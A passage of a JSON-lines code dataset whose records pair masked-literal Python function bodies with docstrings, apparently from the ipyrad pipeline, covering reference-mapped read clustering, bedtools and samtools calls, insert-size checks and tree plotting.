read1.get_reference_positions(full_length=True)<EOL>minpos = min(poss)<EOL>maxpos = max(poss)<EOL>if read1.is_reverse:<EOL><INDENT>seq = revcomp(read1.seq)<EOL><DEDENT>else:<EOL><INDENT>seq = read1.seq<EOL><DEDENT>size = sfunc(key)<EOL>clust.append(\"<STR_LIT>\".format(chrom, minpos, maxpos, size, seq))<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return clust<EOL>", "docstring": "Builds a single end cluster from the refmapped data.", "id": "f5314:m3"}
{"signature": "def fetch_cluster_pairs(data, samfile, chrom, rstart, rend):", "body": "<EOL>rdict = {}<EOL>clust = []<EOL>iterreg = samfile.fetch(chrom, rstart, rend)<EOL>for read in iterreg:<EOL><INDENT>if read.qname not in rdict:<EOL><INDENT>rdict[read.qname] = [read]<EOL><DEDENT>else:<EOL><INDENT>rdict[read.qname].append(read)<EOL><DEDENT><DEDENT>sfunc = lambda x: int(x.split(\"<STR_LIT>\")[<NUM_LIT:1>].split(\"<STR_LIT:;>\")[<NUM_LIT:0>])<EOL>rkeys = sorted(rdict.keys(), key=sfunc, reverse=True)<EOL>try:<EOL><INDENT>read1, read2 = rdict[rkeys[<NUM_LIT:0>]]<EOL><DEDENT>except ValueError:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>poss = read1.get_reference_positions() + read2.get_reference_positions()<EOL>seed_r1start = min(poss)<EOL>seed_r2end = max(poss)<EOL>reads_overlap = False<EOL>if read1.is_reverse:<EOL><INDENT>if read2.aend > read1.get_blocks()[<NUM_LIT:0>][<NUM_LIT:0>]:<EOL><INDENT>reads_overlap = True<EOL>seq = read2.seq + \"<STR_LIT>\" + revcomp(read1.seq)<EOL><DEDENT>else:<EOL><INDENT>seq = read2.seq + \"<STR_LIT>\" + read1.seq<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if read1.aend > read2.get_blocks()[<NUM_LIT:0>][<NUM_LIT:0>]:<EOL><INDENT>reads_overlap = True<EOL>seq = read1.seq + \"<STR_LIT>\" + revcomp(read2.seq)<EOL><DEDENT>else:<EOL><INDENT>seq = read1.seq + \"<STR_LIT>\" + read2.seq<EOL><DEDENT><DEDENT>size = sfunc(rkeys[<NUM_LIT:0>])<EOL>clust.append(\"<STR_LIT>\".format(chrom, seed_r1start, seed_r2end, size, seq))<EOL>if len(rkeys) > <NUM_LIT:1>:<EOL><INDENT>for key in rkeys[<NUM_LIT:1>:]:<EOL><INDENT>skip = False<EOL>try:<EOL><INDENT>read1, read2 = rdict[key]<EOL><DEDENT>except ValueError:<EOL><INDENT>read1 = rdict[key][<NUM_LIT:0>]<EOL>read2 = read1<EOL>skip = True<EOL><DEDENT>poss = read1.get_reference_positions() + read2.get_reference_positions()<EOL>minpos = min(poss)<EOL>maxpos = max(poss)<EOL>if read1.has_tag(\"<STR_LIT>\") or read2.has_tag(\"<STR_LIT>\"):<EOL><INDENT>skip = True<EOL><DEDENT>if (abs(minpos - seed_r1start) < <NUM_LIT:50>) and(abs(maxpos - seed_r2end) < <NUM_LIT:50>) and(not skip):<EOL><INDENT>if read1.is_reverse:<EOL><INDENT>if read2.aend > read1.get_blocks()[<NUM_LIT:0>][<NUM_LIT:0>]:<EOL><INDENT>reads_overlap = True<EOL>seq = read2.seq + \"<STR_LIT>\" + revcomp(read1.seq)<EOL><DEDENT>else:<EOL><INDENT>seq = read2.seq + \"<STR_LIT>\" + read1.seq<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if read1.aend > read2.get_blocks()[<NUM_LIT:0>][<NUM_LIT:0>]:<EOL><INDENT>reads_overlap = True<EOL>seq = read1.seq + \"<STR_LIT>\" + revcomp(read2.seq)<EOL><DEDENT>else:<EOL><INDENT>seq = read1.seq + \"<STR_LIT>\" + read2.seq<EOL><DEDENT><DEDENT>size = sfunc(key)<EOL>clust.append(\"<STR_LIT>\".format(chrom, minpos, maxpos, size, seq))<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>if reads_overlap:<EOL><INDENT>if data._hackersonly[\"<STR_LIT>\"]:<EOL><INDENT>clust = merge_after_pysam(data, clust)<EOL><DEDENT><DEDENT>return clust<EOL>", "docstring": "Builds a paired cluster from the refmapped data.", "id": "f5314:m4"}
{"signature": "def ref_build_and_muscle_chunk(data, sample):", "body": "<EOL>regions = bedtools_merge(data, sample).strip().split(\"<STR_LIT:\\n>\")<EOL>nregions = len(regions)<EOL>chunksize = (nregions / <NUM_LIT:10>) + (nregions % <NUM_LIT:10>)<EOL>LOGGER.debug(\"<STR_LIT>\".format(nregions, chunksize))<EOL>idx = <NUM_LIT:0><EOL>tmpfile = os.path.join(data.tmpdir, sample.name+\"<STR_LIT>\")<EOL>for i in range(<NUM_LIT:11>):<EOL><INDENT>if os.path.exists(tmpfile.format(i)):<EOL><INDENT>os.remove(tmpfile.format(i))<EOL><DEDENT><DEDENT>fopen = open<EOL>if data.paramsdict[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>tmpfile = os.path.join(data.dirs.clusts, sample.name+\"<STR_LIT>\")<EOL>fopen = gzip.open<EOL><DEDENT>samfile = pysam.AlignmentFile(sample.files.mapped_reads, '<STR_LIT:rb>')<EOL>clusts = []<EOL>nclusts = <NUM_LIT:0><EOL>for region in regions:<EOL><INDENT>chrom, pos1, pos2 = region.split()<EOL>try:<EOL><INDENT>if \"<STR_LIT>\" in data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>clust = fetch_cluster_pairs(data, samfile, chrom, int(pos1), int(pos2))<EOL><DEDENT>else:<EOL><INDENT>clust = fetch_cluster_se(data, samfile, chrom, int(pos1), int(pos2))<EOL><DEDENT><DEDENT>except IndexError as inst:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\".format(chrom, pos1, pos2))<EOL>continue<EOL><DEDENT>if clust:<EOL><INDENT>clusts.append(\"<STR_LIT:\\n>\".join(clust))<EOL>nclusts += <NUM_LIT:1><EOL>if nclusts == chunksize:<EOL><INDENT>tmphandle = tmpfile.format(idx)<EOL>with fopen(tmphandle, '<STR_LIT:a>') as tmp:<EOL><INDENT>tmp.write(\"<STR_LIT>\".join(clusts)+\"<STR_LIT>\")<EOL><DEDENT>idx += <NUM_LIT:1><EOL>nclusts = <NUM_LIT:0><EOL>clusts = []<EOL><DEDENT><DEDENT><DEDENT>if clusts:<EOL><INDENT>with fopen(tmpfile.format(idx), '<STR_LIT:a>') as tmp:<EOL><INDENT>tmp.write(\"<STR_LIT>\".join(clusts)+\"<STR_LIT>\")<EOL><DEDENT>clusts = []<EOL><DEDENT>if not data.paramsdict[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>chunkfiles = glob.glob(os.path.join(data.tmpdir, sample.name+\"<STR_LIT>\"))<EOL>LOGGER.info(\"<STR_LIT>\", chunkfiles)<EOL><DEDENT>samfile.close()<EOL>", "docstring": "1. Run bedtools to get all overlapping regions\n2. Parse out reads from regions using pysam and dump into chunk files. \n   We measure it out to create 10 chunk files per sample. \n3. If we really wanted to speed this up, though it is pretty fast already, \n   we could parallelize it since we can easily break the regions into \n   a list of chunks.", "id": "f5314:m5"}
{"signature": "def ref_muscle_chunker(data, sample):", "body": "LOGGER.info('<STR_LIT>')<EOL>regions = bedtools_merge(data, sample)<EOL>if len(regions) > <NUM_LIT:0>:<EOL><INDENT>get_overlapping_reads(data, sample, regions)<EOL><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT>\".format(sample.name)<EOL>LOGGER.warn(msg)<EOL><DEDENT>", "docstring": "Run bedtools to get all overlapping regions. Pass this list into the func\n'get_overlapping_reads' which will write fastq chunks to the clust.gz file.\n\n1) Run bedtools merge to get a list of all contiguous blocks of bases\nin the reference seqeunce where one or more of our reads overlap.\nThe output will look like this:\n        1       45230754        45230783\n        1       74956568        74956596\n        ...\n        1       116202035       116202060", "id": "f5314:m6"}
{"signature": "def get_overlapping_reads(data, sample, regions):", "body": "<EOL>locus_list = []<EOL>reads_merged = <NUM_LIT:0><EOL>write_flag = '<STR_LIT:wb>'<EOL>if data.paramsdict[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>write_flag = '<STR_LIT>'<EOL><DEDENT>sample.files.clusters = os.path.join(data.dirs.clusts, sample.name+\"<STR_LIT>\")<EOL>outfile = gzip.open(sample.files.clusters, write_flag)<EOL>if data.paramsdict[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>outfile.write(\"<STR_LIT>\")<EOL><DEDENT>proc1 = sps.Popen(\"<STR_LIT>\", stdin=sps.PIPE, stdout=sps.PIPE, universal_newlines=True)<EOL>try:<EOL><INDENT>for line in regions.strip().split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if line == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>chrom, region_start, region_end = line.strip().split()[<NUM_LIT:0>:<NUM_LIT:3>]<EOL>args = [data, sample, proc1, chrom, region_start, region_end]<EOL>clust = bam_region_to_fasta(*args)<EOL>if not clust:<EOL><INDENT>continue<EOL><DEDENT>locus_list.append(clust)<EOL>if not len(locus_list) % <NUM_LIT:1000>:<EOL><INDENT>outfile.write(\"<STR_LIT>\".join(locus_list)+\"<STR_LIT>\")<EOL>locus_list = []<EOL><DEDENT><DEDENT>if any(locus_list):<EOL><INDENT>outfile.write(\"<STR_LIT>\".join(locus_list))<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>outfile.close()<EOL><DEDENT>except Exception as inst:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\".format(inst))<EOL>raise<EOL><DEDENT>finally:<EOL><INDENT>if \"<STR_LIT>\" in data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\".format(sample.name, reads_merged))<EOL>sample.stats.reads_merged = reads_merged<EOL><DEDENT><DEDENT>", "docstring": "For SE data, this pulls mapped reads out of sorted mapped bam files and \nappends them to the clust.gz file so they fall into downstream \n(muscle alignment) analysis. \n\nFor PE data, this pulls mapped reads out of sorted mapped bam files, splits \nR1s from R2s and writes them to separate files. Once all reads are written, \nit calls merge_reads (vsearch) to find merged and non-merged reads. These\nare then put into clust.gz with either an nnnn separator or as merged. \n\nThe main func being called here is 'bam_region_to_fasta', which calls\nsamtools to pull out the mapped reads. \n\n1) Coming into this function we have sample.files.mapped_reads \n    as a sorted bam file, and a passed in list of regions to evaluate.\n2) Get all reads overlapping with each individual region.\n3) Pipe to vsearch for clustering.\n4) Append to the clust.gz file.", "id": "f5314:m7"}
{"signature": "def split_merged_reads(outhandles, input_derep):", "body": "handle1, handle2 = outhandles<EOL>splitderep1 = open(handle1, '<STR_LIT:w>')<EOL>splitderep2 = open(handle2, '<STR_LIT:w>')<EOL>with open(input_derep, '<STR_LIT:r>') as infile: <EOL><INDENT>duo = itertools.izip(*[iter(infile)]*<NUM_LIT:2>)<EOL>split1s = []<EOL>split2s = []<EOL>idx = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>itera = duo.next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>part1, part2 = itera[<NUM_LIT:1>].split(\"<STR_LIT>\")<EOL>idx += <NUM_LIT:1><EOL>split1s.append(\"<STR_LIT>\".format(itera[<NUM_LIT:0>], part1))<EOL>split2s.append(\"<STR_LIT>\".format(itera[<NUM_LIT:0>], part2))<EOL>if not idx % <NUM_LIT>:<EOL><INDENT>splitderep1.write(\"<STR_LIT>\".join(split1s))<EOL>splitderep2.write(\"<STR_LIT>\".join(split2s))<EOL>split1s = []<EOL>split2s = [] <EOL><DEDENT><DEDENT><DEDENT>if any(split1s):<EOL><INDENT>splitderep1.write(\"<STR_LIT>\".join(split1s))<EOL>splitderep2.write(\"<STR_LIT>\".join(split2s))<EOL><DEDENT>splitderep1.close()<EOL>splitderep2.close()<EOL>", "docstring": "Takes merged/concat derep file from vsearch derep and split it back into \nseparate R1 and R2 parts. \n- sample_fastq: a list of the two file paths to write out to.\n- input_reads: the path to the input merged reads", "id": "f5314:m8"}
{"signature": "def check_insert_size(data, sample):", "body": "<EOL>cmd1 = [ipyrad.bins.samtools, \"<STR_LIT>\", sample.files.mapped_reads]<EOL>cmd2 = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>proc1 = sps.Popen(cmd1, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>proc2 = sps.Popen(cmd2, stderr=sps.STDOUT, stdout=sps.PIPE, stdin=proc1.stdout)<EOL>res = proc2.communicate()[<NUM_LIT:0>]<EOL>if proc2.returncode:<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\", cmd2, res)<EOL><DEDENT>avg_insert = <NUM_LIT:0><EOL>stdv_insert = <NUM_LIT:0><EOL>avg_len = <NUM_LIT:0><EOL>for line in res.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>avg_insert = float(line.split(\"<STR_LIT::>\")[-<NUM_LIT:1>].strip())<EOL><DEDENT>elif \"<STR_LIT>\" in line:<EOL><INDENT>stdv_insert = float(line.split(\"<STR_LIT::>\")[-<NUM_LIT:1>].strip()) + <NUM_LIT:0.1><EOL><DEDENT>elif \"<STR_LIT>\" in line:<EOL><INDENT>avg_len = float(line.split(\"<STR_LIT::>\")[-<NUM_LIT:1>].strip())<EOL><DEDENT><DEDENT>LOGGER.debug(\"<STR_LIT>\".format(avg_insert, stdv_insert, avg_len))<EOL>if all([avg_insert, stdv_insert, avg_len]):<EOL><INDENT>if stdv_insert < <NUM_LIT:5>:<EOL><INDENT>stdv_insert = <NUM_LIT><EOL><DEDENT>if (<NUM_LIT:2> * avg_len) < avg_insert:<EOL><INDENT>hack = avg_insert + (<NUM_LIT:3> * np.math.ceil(stdv_insert)) - (<NUM_LIT:2> * avg_len)<EOL><DEDENT>else:<EOL><INDENT>hack = (avg_insert - avg_len) + (<NUM_LIT:3> * np.math.ceil(stdv_insert))<EOL><DEDENT>LOGGER.info(\"<STR_LIT>\", hack)<EOL>data._hackersonly[\"<STR_LIT>\"] = int(np.math.ceil(hack))<EOL><DEDENT>else:<EOL><INDENT>data._hackersonly[\"<STR_LIT>\"] = <NUM_LIT><EOL>LOGGER.debug(\"<STR_LIT>\".format(sample.name,data._hackersonly[\"<STR_LIT>\"]))<EOL><DEDENT>", "docstring": "check mean insert size for this sample and update \nhackersonly.max_inner_mate_distance if need be. This value controls how \nfar apart mate pairs can be to still be considered for bedtools merging \ndownstream.", "id": "f5314:m9"}
{"signature": "def bedtools_merge(data, sample):", "body": "LOGGER.info(\"<STR_LIT>\", sample.name)<EOL>mappedreads = os.path.join(data.dirs.refmapping, <EOL>sample.name+\"<STR_LIT>\")<EOL>cmd1 = [ipyrad.bins.bedtools, \"<STR_LIT>\", \"<STR_LIT>\", mappedreads]<EOL>cmd2 = [ipyrad.bins.bedtools, \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:->\"]<EOL>if '<STR_LIT>' in data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>check_insert_size(data, sample)<EOL>cmd2.insert(<NUM_LIT:2>, str(data._hackersonly[\"<STR_LIT>\"]))<EOL>cmd2.insert(<NUM_LIT:2>, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>cmd2.insert(<NUM_LIT:2>, str(-<NUM_LIT:1> * data._hackersonly[\"<STR_LIT>\"]))<EOL>cmd2.insert(<NUM_LIT:2>, \"<STR_LIT>\")<EOL><DEDENT>LOGGER.info(\"<STR_LIT>\", cmd1, cmd2)<EOL>proc1 = sps.Popen(cmd1, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>proc2 = sps.Popen(cmd2, stderr=sps.STDOUT, stdout=sps.PIPE, stdin=proc1.stdout)<EOL>result = proc2.communicate()[<NUM_LIT:0>]<EOL>proc1.stdout.close()<EOL>if proc2.returncode:<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\", cmd2, result)<EOL><DEDENT>if os.path.exists(ipyrad.__debugflag__):<EOL><INDENT>with open(os.path.join(data.dirs.refmapping, sample.name + \"<STR_LIT>\"), '<STR_LIT:w>') as outfile:<EOL><INDENT>outfile.write(result)<EOL><DEDENT><DEDENT>nregions = len(result.strip().split(\"<STR_LIT:\\n>\"))<EOL>LOGGER.info(\"<STR_LIT>\", nregions)<EOL>return result<EOL>", "docstring": "Get all contiguous genomic regions with one or more overlapping\nreads. This is the shell command we'll eventually run\n\nbedtools bamtobed -i 1A_0.sorted.bam | bedtools merge [-d 100]\n    -i <input_bam>  :   specifies the input file to bed'ize\n    -d <int>        :   For PE set max distance between reads", "id": "f5314:m10"}
{"signature": "def trim_reference_sequence(fasta):", "body": "LOGGER.debug(\"<STR_LIT>\".format(fasta[<NUM_LIT:0>]))<EOL>if \"<STR_LIT>\" in fasta[<NUM_LIT:1>]:<EOL><INDENT>r1_len = len(fasta[<NUM_LIT:1>].split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>].split(\"<STR_LIT>\")[<NUM_LIT:0>])<EOL>r2_len = len(fasta[<NUM_LIT:1>].split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>].split(\"<STR_LIT>\")[<NUM_LIT:1>])<EOL>new_seq = fasta[<NUM_LIT:0>].split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>][:r1_len]+(\"<STR_LIT>\")+ revcomp(fasta[<NUM_LIT:0>].split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>][-r2_len:])<EOL>fasta[<NUM_LIT:0>] = fasta[<NUM_LIT:0>].split(\"<STR_LIT:\\n>\")[<NUM_LIT:0>]+\"<STR_LIT:\\n>\"+new_seq<EOL><DEDENT>LOGGER.debug(\"<STR_LIT>\".format(fasta[<NUM_LIT:0>]))<EOL>return fasta<EOL>", "docstring": "If doing PE and R1/R2 don't overlap then the reference sequence\nwill be quite long and will cause indel hell during the \nalignment stage. Here trim the reference sequence to the length\nof the merged reads. Input is a list of alternating locus labels\nand sequence data. The first locus label is the reference\nsequence label and the first seq is the reference seq. Returns\nthe same list except with the reference sequence trimmed to\nthe length of the rad tags", "id": "f5314:m11"}
{"signature": "def bam_region_to_fasta(data, sample, proc1, chrom, region_start, region_end):", "body": "<EOL>bamf = sample.files.mapped_reads<EOL>if not os.path.exists(bamf):<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\", bamf)<EOL><DEDENT>chrom.replace(\"<STR_LIT:|>\", r\"<STR_LIT>\")<EOL>chrom.replace(\"<STR_LIT:(>\", r\"<STR_LIT>\")<EOL>chrom.replace(\"<STR_LIT:)>\", r\"<STR_LIT>\")<EOL>rstring_id1 = \"<STR_LIT>\".format(chrom, str(int(region_start)+<NUM_LIT:1>), region_end)<EOL>rstring_id0 = \"<STR_LIT>\".format(chrom, region_start, region_end)<EOL>overlap_buffer = <NUM_LIT:0><EOL>if not \"<STR_LIT>\" in data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>overlap_buffer = data._hackersonly[\"<STR_LIT>\"]<EOL><DEDENT>rstring_id0_buffered = \"<STR_LIT>\".format(chrom, int(region_start) + overlap_buffer,int(region_end) - overlap_buffer)<EOL>cmd1 = [ipyrad.bins.samtools, \"<STR_LIT>\", <EOL>data.paramsdict[\"<STR_LIT>\"], <EOL>rstring_id1, \"<STR_LIT>\"]<EOL>LOGGER.info(\"<STR_LIT>\".format(cmd1))<EOL>print(\"<STR_LIT:U+0020>\".join(cmd1), file=proc1.stdin)<EOL>ref = \"<STR_LIT>\"<EOL>for line in iter(proc1.stdout.readline, \"<STR_LIT>\"):<EOL><INDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>break<EOL><DEDENT>ref += line<EOL><DEDENT>fasta = []<EOL>try:<EOL><INDENT>name, seq = ref.strip().split(\"<STR_LIT:\\n>\", <NUM_LIT:1>)<EOL>seq = \"<STR_LIT>\".join(seq.split(\"<STR_LIT:\\n>\"))<EOL>fasta = [\"<STR_LIT>\".format(name, <NUM_LIT>, seq)]<EOL><DEDENT>except ValueError as inst:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\".format(ref))<EOL>LOGGER.error(\"<STR_LIT:U+0020>\".join(cmd1))<EOL><DEDENT>if \"<STR_LIT>\" in data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>fasta = []<EOL>if os.path.exists(\"<STR_LIT>\"):<EOL><INDENT>prefix = os.path.join(\"<STR_LIT>\",<EOL>\"<STR_LIT>\".format(sample.name, rstring_id0))<EOL><DEDENT>else:<EOL><INDENT>prefix = os.path.join(data.dirs.refmapping, <EOL>\"<STR_LIT>\".format(sample.name, rstring_id0))<EOL><DEDENT>read1 = \"<STR_LIT>\".format(prefix)<EOL>read2 = \"<STR_LIT>\".format(prefix)<EOL>merged = \"<STR_LIT>\".format(prefix)<EOL>cmd1 = \"<STR_LIT:U+0020>\".join([ipyrad.bins.samtools, \"<STR_LIT>\", \"<STR_LIT>\", bamf, rstring_id0])<EOL>cmd2 = \"<STR_LIT:U+0020>\".join([ipyrad.bins.samtools, \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", read1, \"<STR_LIT>\", read2, \"<STR_LIT:->\", \"<STR_LIT>\"])<EOL>cmd = \"<STR_LIT>\".join([cmd1, cmd2])<EOL>print(cmd, file=proc1.stdin)<EOL>for line in iter(proc1.stdout.readline, \"<STR_LIT>\"):<EOL><INDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>break<EOL><DEDENT><DEDENT>try:<EOL><INDENT>_ = merge_pairs(data, [(read1, read2)], merged, <NUM_LIT:0>, <NUM_LIT:1>)<EOL>with open(merged, '<STR_LIT:r>') as infile:<EOL><INDENT>quatro = itertools.izip(*[iter(infile)]*<NUM_LIT:4>)<EOL>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>bits = quatro.next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>orient = \"<STR_LIT:+>\"<EOL>fullfast = \"<STR_LIT>\".format(<EOL>a=bits[<NUM_LIT:0>].split(\"<STR_LIT:;>\")[<NUM_LIT:0>],<EOL>b=rstring_id1,<EOL>c=bits[<NUM_LIT:0>].split(\"<STR_LIT:;>\")[<NUM_LIT:1>], <EOL>d=orient,<EOL>e=bits[<NUM_LIT:1>].strip())<EOL>fasta.append(fullfast)<EOL><DEDENT><DEDENT><DEDENT>except (OSError, ValueError, IPyradError) as inst:<EOL><INDENT>LOGGER.debug(\"<STR_LIT>\", inst)<EOL>LOGGER.error(\"<STR_LIT>\".format(cmd))<EOL>return \"<STR_LIT>\"<EOL><DEDENT>finally:<EOL><INDENT>if os.path.exists(merged):<EOL><INDENT>os.remove(merged)<EOL><DEDENT>if os.path.exists(read1):<EOL><INDENT>os.remove(read1)<EOL><DEDENT>if os.path.exists(read2):<EOL><INDENT>os.remove(read2)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>cmd2 = [ipyrad.bins.samtools, \"<STR_LIT>\", bamf, rstring_id0_buffered]<EOL>proc2 = sps.Popen(cmd2, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>res = proc2.communicate()[<NUM_LIT:0>]<EOL>if proc2.returncode:<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\".format(cmd2, res))<EOL><DEDENT>if \"<STR_LIT>\" in res:<EOL><INDENT>raise IPyradError(\"<STR_LIT>\".format(rstring_id0_buffered))<EOL><DEDENT>for line in res.strip().split(\"<STR_LIT:\\n>\"):<EOL><INDENT>bits = line.split(\"<STR_LIT:\\t>\")<EOL>orient = \"<STR_LIT:+>\"<EOL>if int('<STR_LIT>'.format(int(bits[<NUM_LIT:1>]))[<NUM_LIT:7>]):<EOL><INDENT>orient = \"<STR_LIT:->\"<EOL><DEDENT>fullfast = \"<STR_LIT>\".format(<EOL>a=bits[<NUM_LIT:0>].split(\"<STR_LIT:;>\")[<NUM_LIT:0>],<EOL>b=rstring_id0,<EOL>c=bits[<NUM_LIT:0>].split(\"<STR_LIT:;>\")[<NUM_LIT:1>],<EOL>d=orient,<EOL>e=bits[<NUM_LIT:9>])<EOL>fasta.append(fullfast)<EOL><DEDENT><DEDENT>except IPyradError as inst:<EOL><INDENT>LOGGER.debug(\"<STR_LIT>\".format(inst))<EOL>return \"<STR_LIT>\"<EOL><DEDENT>except (OSError, ValueError, Exception) as inst:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\", inst)<EOL>LOGGER.error(\"<STR_LIT>\".format(cmd2))<EOL>return \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return \"<STR_LIT:\\n>\".join(fasta)<EOL>", "docstring": "Take the chromosome position, and start and end bases and return sequences\nof all reads that overlap these sites. This is the command we're building:\n\nsamtools view -b 1A_sorted.bam 1:116202035-116202060 | \\\n         samtools bam2fq <options> -\n\n        -b      : output bam format\n        -0      : For SE, output all reads to this file\n        -1/-2   : For PE, output first and second reads to different files\n        -       : Tell samtools to read in from the pipe\n\nWrite out the sam output and parse it to return as fasta for clust.gz file. \nWe also grab the reference sequence with a @REF header to aid in alignment\nfor single-end data. This will be removed post-alignment.", "id": "f5314:m12"}
{"signature": "def refmap_stats(data, sample):", "body": "<EOL>mapf = os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\")<EOL>umapf = os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\")<EOL>cmd1 = [ipyrad.bins.samtools, \"<STR_LIT>\", umapf]<EOL>proc1 = sps.Popen(cmd1, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>result1 = proc1.communicate()[<NUM_LIT:0>]<EOL>cmd2 = [ipyrad.bins.samtools, \"<STR_LIT>\", mapf]<EOL>proc2 = sps.Popen(cmd2, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>result2 = proc2.communicate()[<NUM_LIT:0>]<EOL>if \"<STR_LIT>\" in data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>sample.stats[\"<STR_LIT>\"] = int(result1.split()[<NUM_LIT:0>]) / <NUM_LIT:2><EOL>sample.stats[\"<STR_LIT>\"] = int(result2.split()[<NUM_LIT:0>]) / <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>sample.stats[\"<STR_LIT>\"] = int(result1.split()[<NUM_LIT:0>])<EOL>sample.stats[\"<STR_LIT>\"] = int(result2.split()[<NUM_LIT:0>])<EOL><DEDENT>sample_cleanup(data, sample)<EOL>", "docstring": "Get the number of mapped and unmapped reads for a sample\nand update sample.stats", "id": "f5314:m13"}
{"signature": "def refmap_init(data, sample, force):", "body": "<EOL>sample.files.unmapped_reads = os.path.join(data.dirs.edits, <EOL>\"<STR_LIT>\".format(sample.name))<EOL>sample.files.mapped_reads = os.path.join(data.dirs.refmapping,<EOL>\"<STR_LIT>\".format(sample.name))<EOL>", "docstring": "create some file handles for refmapping", "id": "f5314:m14"}
{"signature": "def tree_panel_plot(ttree,<EOL>print_args=False,<EOL>*args, <EOL>**kwargs):", "body": "<EOL>panel = Panel(ttree)          <EOL>if not kwargs.get(\"<STR_LIT:width>\"):<EOL><INDENT>panel.kwargs[\"<STR_LIT:width>\"] = min(<NUM_LIT:1000>, <NUM_LIT>*len(panel.tree))<EOL><DEDENT>if not kwargs.get(\"<STR_LIT>\"):<EOL><INDENT>panel.kwargs[\"<STR_LIT>\"] = panel.kwargs[\"<STR_LIT:width>\"]<EOL><DEDENT>panel.kwargs.update(kwargs)<EOL>if panel.kwargs[\"<STR_LIT>\"]:<EOL><INDENT>nnodes = sum(<NUM_LIT:1> for i in panel.tree.traverse()) - len(panel.tree)<EOL>supps = [int(panel.tree.search_nodes(idx=j)[<NUM_LIT:0>].support)for j in range(nnodes)]<EOL>if not panel.kwargs[\"<STR_LIT>\"]:<EOL><INDENT>panel.kwargs[\"<STR_LIT>\"] = <NUM_LIT:20><EOL><DEDENT>sizes = [panel.kwargs[\"<STR_LIT>\"] for j in range(nnodes)]<EOL>supps += [\"<STR_LIT>\"] * len(panel.tree)<EOL>sizes += [<NUM_LIT:0>] * len(panel.tree)<EOL>panel.kwargs[\"<STR_LIT>\"] = supps<EOL>panel.kwargs[\"<STR_LIT>\"] = sizes<EOL>panel.kwargs[\"<STR_LIT>\"] = True<EOL>if len(panel.tree.children) > <NUM_LIT:2>:<EOL><INDENT>supps[<NUM_LIT:0>] = \"<STR_LIT>\"<EOL>sizes[<NUM_LIT:0>] = <NUM_LIT:0><EOL><DEDENT><DEDENT>elif panel.kwargs.get(\"<STR_LIT>\"):<EOL><INDENT>panel.kwargs[\"<STR_LIT>\"] = panel.kwargs[\"<STR_LIT>\"]<EOL>panel.kwargs[\"<STR_LIT>\"] = True<EOL><DEDENT>else:<EOL><INDENT>panel.kwargs[\"<STR_LIT>\"] = panel.node_labels.keys() <EOL><DEDENT>if print_args:<EOL><INDENT>print(panel.kwargs)<EOL><DEDENT>canvas = toyplot.Canvas(height=panel.kwargs['<STR_LIT>'], width=panel.kwargs['<STR_LIT:width>'])<EOL>axes = canvas.cartesian(bounds=(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"))    <EOL>axes.show = panel.kwargs[\"<STR_LIT>\"]<EOL>panel._panel_tree(axes)<EOL>if panel.kwargs[\"<STR_LIT>\"]:<EOL><INDENT>panel._panel_tip_labels(axes)<EOL><DEDENT>return canvas, axes, panel<EOL>", "docstring": "signature...", "id": "f5316:m0"}
